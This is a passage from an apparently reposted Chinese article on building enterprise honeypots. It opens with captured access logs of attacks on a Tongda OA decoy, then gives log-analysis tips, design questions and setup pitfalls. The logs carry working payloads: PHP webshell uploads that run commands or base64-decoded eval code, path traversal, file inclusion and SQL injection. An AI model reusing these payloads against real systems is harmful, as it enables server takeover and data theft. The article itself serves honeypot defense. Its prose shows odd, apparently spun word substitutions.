[15/Nov/2022:10:27:33 -0500] "GET //general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./ HTTP/1.1"200 2493 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "-"192.168.17.1 - - [15/Nov/2022:10:27:33 -0500] "GET //ispirit/login_code.php HTTP/1.1"200 251 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "-"192.168.17.1 - - [15/Nov/2022:10:27:34 -0500] "GET //general/ HTTP/1.1"200 2493 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "-"192.168.17.1 - - [15/Nov/2022:10:27:34 -0500] "GET //mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 HTTP/1.1"200 17 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "-"192.168.17.1 - - [15/Nov/2022:10:27:34 -0500] "GET //inc/expired.php HTTP/1.1"200 2840 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "-"192.168.17.1 - - [15/Nov/2022:10:27:34 -0500] "GET //module/appbuilder/assets/print.php HTTP/1.1"404 36 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "-"192.168.17.1 - - [15/Nov/2022:10:27:35 -0500] "POST //ispirit/im/upload.php HTTP/1.1"200 47 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" "-" "--88d153850f4cd9519a022a3e88cd6569\x0D\x0AContent-Disposition: form-data; name=\x22P\x22\x0D\x0A\x0D\x0A123\x0D\x0A--88d153850f4cd9519a022a3e88cd6569\x0D\x0AContent-Disposition: form-data; name=\x22Filename\x22\x0D\x0A\x0D\x0Aphp.jpg\x0D\x0A--88d153850f4cd9519a022a3e88cd6569\x0D\x0AContent-Disposition: form-data; name=\x22DEST_UID\x22\x0D\x0A\x0D\x0A1\x0D\x0A--88d153850f4cd9519a022a3e88cd6569\x0D\x0AContent-Disposition: form-data; name=\x22UPLOAD_MODE\x22\x0D\x0A\x0D\x0A2\x0D\x0A--88d153850f4cd9519a022a3e88cd6569\x0D\x0AContent-Disposition: form-data; name=\x22ATTACHMENT\x22; filename=\x22ATTACHMENT\x22\x0D\x0A\x0D\x0A<?php $command='whoami';$wsh = new COM('WScript.shell');$exec = $wsh->exec('cmd /c '.$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>\x0D\x0A--88d153850f4cd9519a022a3e88cd6569--\x0D\x0A"192.168.17.1 - - [15/Nov/2022:10:27:36 -0500] "POST //mobile/api/api.ali.php HTTP/1.1"200 31 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36" "-" "--502f67681799b07e4de6b503655f5cae\x0D\x0AContent-Disposition: form-data; name=\x22file\x22; filename=\x22fb6790f4tongda.json\x22\x0D\x0AContent-Type: application/octet-stream\x0D\x0A\x0D\x0A{\x22modular\x22:\x22AllVariable\x22,\x22a\x22:\x22ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2ZiNjc5MGY0dG9uZ2RhLnBocCcsJzw/cGhwICRhPSJ+K2QoKSJeIiF7K3t9IjskYj0keyRhfVsieCJdO2V2YWwoIiIuJGIpOz8+Jyk7==\x22,\x22dataAnalysis\x22:\x22{\x5C\x22a\x5C\x22:\x5C\x22\xE9\x8C\xA6',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/\x5C\x22}\x22}\x0D\x0A--502f67681799b07e4de6b503655f5cae--"192.168.17.1 - - [15/Nov/2022:10:27:36 -0500] "GET //inc/package/work.php?id=../../../../../myoa/attach/approve_center/2204/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.fb6790f4tongda HTTP/1.1"500 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36" "-" "-"192.168.17.1 - - [15/Nov/2022:10:27:36 -0500] "GET //fb6790f4tongda.php HTTP/1.1"404 56 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36" "-" "-"192.168.17.1 - - [15/Nov/2022:10:27:36 -0500] "POST //logincheck_code.php HTTP/1.1"200 62 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "UID=1&CODEUID=_PC{C09D5F0C-5957-8F8D-E3C6-A1D23DF8CD6F}"192.168.17.1 - - [15/Nov/2022:10:27:37 -0500] "POST //general/bi_design/appcenter/report_bi.func.php HTTP/1.1"200 2493 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "_POST[dataset_id]=efgh'-@`'`)union select database(),2,user()#'&action=get_link_info&"192.168.17.1 - - [15/Nov/2022:10:27:38 -0500] "POST //general/file_folder/swfupload_new.php HTTP/1.1"200 2493 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "------------GFioQpMK0vv2\x0D\x0AContent-Disposition: form-data; name=\x22ATTACHMENT_ID\x22\x0D\x0A\x0D\x0A1\x0D\x0A------------GFioQpMK0vv2\x0D\x0AContent-Disposition: form-data; name=\x22ATTACHMENT_NAME\x22\x0D\x0A\x0D\x0A1\x0D\x0A------------GFioQpMK0vv2\x0D\x0AContent-Disposition: form-data; name=\x22FILE_SORT\x22\x0D\x0A\x0D\x0A2\x0D\x0A------------GFioQpMK0vv2\x0D\x0AContent-Disposition: form-data; name=\x22SORT_ID\x22\x0D\x0A\x0D\x0A------------GFioQpMK0vv2--"192.168.17.1 - - [15/Nov/2022:10:27:38 -0500] "POST //logincheck_code.php HTTP/1.1"200 62 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "UID=1&CODEUID=_PC{6047FF7A-0B4A-3311-E5A9-31D28A933872}"192.168.17.1 - - [15/Nov/2022:10:27:39 -0500] "POST //ispirit/im/upload.php HTTP/1.1"200 25 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "--\x0D\x0AContent-Disposition: form-data; name=\x22UPLOAD_MODE\x22\x0D\x0A\x0D\x0A2\x0D\x0A--\x0D\x0AContent-Disposition: form-data; name=\x22P\x22\x0D\x0A\x0D\x0A123\x0D\x0A--\x0D\x0AContent-Disposition: form-data; name=\x22DEST_UID\x22\x0D\x0A\x0D\x0A1\x0D\x0A--\x0D\x0AContent-Disposition: form-data; name=\x22ATTACHMENT\x22; filename=\x22png\x22\x0D\x0AContent-Type: image/jpeg\x0D\x0A\x0D\x0A<?php file_put_contents($_SERVER[\x22DOCUMENT_ROOT\x22].\x22//zskwgpaodw.php\x22,base64_decode(\x22PD9waHAgJGE9In4rZCgpIl4iIXsre30iOyRiPSR7JGF9WyJ4Il07ZXZhbCgiIi4kYik7Pz4=\x22).\x22zskwgpaodw\x22);?><?php unlink(__FILE__);echo \x22zskwgpaodw\x22;?>\x0D\x0A--\x0D\x0A\x0D\x0A"192.168.17.1 - - [15/Nov/2022:10:27:39 -0500] "GET //mobile/inc/get_contactlist.php?P=1&KWORD=%25&isuser_info=3 HTTP/1.1"200 17 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36" "-" "-"

oa.bbb.com检测操作:

oa.bbb.com日志捕获如下:

别的不再赘述~

日志剖析

至于日志剖析可以采取360星图工具来进行剖析(须要自定义模板)或者利用脚本工具根据特色进行日志筛选,实在网络上还是有很多日志剖析工具的,可以找找看,这里不再赘述

大略单纯思考

在搭建蜜罐体系的过程中企业该当就以下问题进行深入思考: 如何提高蜜罐的可信度来吸引攻击者攻击? 蜜罐搭建过程中是否有必要利用WAF防护? 蜜罐搭建过程中利用到的操作系统配置如何选取? 蜜罐搭建过程中如何规避搭建的蜜罐成为后期攻击者长驱直入攻击企业正式网络的路子? 蜜罐搭建过程中如何有效的攻击者的攻击日志进行全量采集并对日志按天进行分割存储? 蜜罐搭建完成并投入利用后如何对蜜罐进走运营(重点关注什么?日志采集剖析周期多久?)

坑点总结快照备份:蜜罐搭建完成后一定要做一个快照,以防攻击者通过0day打入后创造陷入蜜罐而进行恶意操作来毁坏系统,导致系统后期无法正常运行网络拓扑:在搭建蜜罐的前期一定要画好网络拓扑,把该考虑的各种问题全部考虑进去(蜜罐目的、访问办法(域名/IP)、日志采集、日志存储、网络隔离等)域名注册:域名注册本来以为很是随意马虎,只须要几步即可,但是这个成为了搭建过程中最大的坑点,全体流程大致要花费1个月旁边,以是建议在搭建蜜罐的前期就先确定好域名,之后在搭建蜜罐环境的同时就进行域名的备份,不然后期搭建完成后了再进行备份就很延误韶光文末小结

本篇文章我们就蜜罐的定义、蜜罐的分类、蜜罐的用场以及企业搭建蜜罐的过程中会涉及到的蜜罐架构的设计、蜜罐自身的安全问题等进行了谈论,之前很多人都将蜜罐的利用局限于HW行动中对攻击者的溯源,而本篇文章则站在甲方安全需求方对蜜罐的利用维度进行了扩充,个中自然也有很多不敷之处有待改进,欢迎随时谈论互换~

参考连接

[1] https://hfish.net/[2] https://blog.csdn.net/Fly_hps/article/details/122241747[3] https://blog.csdn.net/m0_37642477/article/details/115499027[4] https://baike.baidu.com/item/%E8%9C%9C%E7%BD%90%E6%8A%80%E6%9C%AF[5] https://mp.weixin.qq.com/s?__biz=Mzg4MTU4NTc2Nw==&mid=2247486387&idx=1&sn=4e2b87fdee1076f68b4670dd4924d369&chksm=cf62f0bbf81579ad68434e1254916aec99a87928ebb198391151463da1193e6b58b93e225dda&token=1694274520&lang=zh_CN#rd

from https://tttang.com/archive/1832/

标签:

相关文章